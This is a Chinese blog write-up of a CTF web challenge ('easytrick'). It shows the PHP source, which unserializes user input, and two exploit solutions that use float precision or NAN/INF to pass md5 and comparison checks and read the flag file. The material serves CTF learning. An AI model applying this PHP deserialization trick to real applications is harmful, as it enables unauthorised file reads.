zoukankan      html  css  js  c++  java
  • CTF easytrick

    这是第十三届全国大学生信息安全竞赛(线上初赛)的一道web题

    题目的源码是:

    <?php 
    class trick{ 
        public $trick1; 
        public $trick2; 
        public function __destruct(){ 
            $this->trick1 = (string)$this->trick1; 
            if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
                die("你太长了"); 
            } 
            if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
                echo file_get_contents("/flag"); 
            } 
        } 
    } 
    highlight_file(__FILE__); 
    unserialize($_GET['trick']); 

    这道题有我已知有两种解法,一种是精度,另一种是靠NAN或者INF来解

    <?
    class trick{ 
        public $trick1 = 0.1; 
        public $trick2 = 0.100000000000001; 
        public function __destruct(){ 
            $this->trick1 = (string)$this->trick1; 
            if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
                die("你太长了"); 
            } 
            if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
                echo file_get_contents("./flag.txt"); 
            } 
        } 
    }
    
    new trick;
    

      或

    <?
    class trick{ 
        public $trick1 = NAN; 
        public $trick2 = INF; 
        public function __destruct(){ 
            $this->trick1 = (string)$this->trick1; 
            if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
                die("你太长了"); 
            } 
            if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
                echo file_get_contents("./flag.txt"); 
            } 
        } 
    }
    
    new trick;
    

      

  • 相关阅读:
    Oracle函数列表速查
    Oreilly.Oracle.PL.SQL.Language.Pocket.Reference.2nd.Edition.eBookLiB
    SAP 查询跟踪监控,sql 执行计划
    删除IDOC
    Oracle可变参数的优化(转)
    ORACLE用户连接的管理
    批量处理change pointer 生成IDOC
    设置SAP后台的显示和修改
    如何增加SAP_ALL的权限
    BizTalk开发小技巧分拆和组装消息实例
  • 原文地址:https://www.cnblogs.com/txxj/p/13829003.html
Copyright © 2011-2022 走看看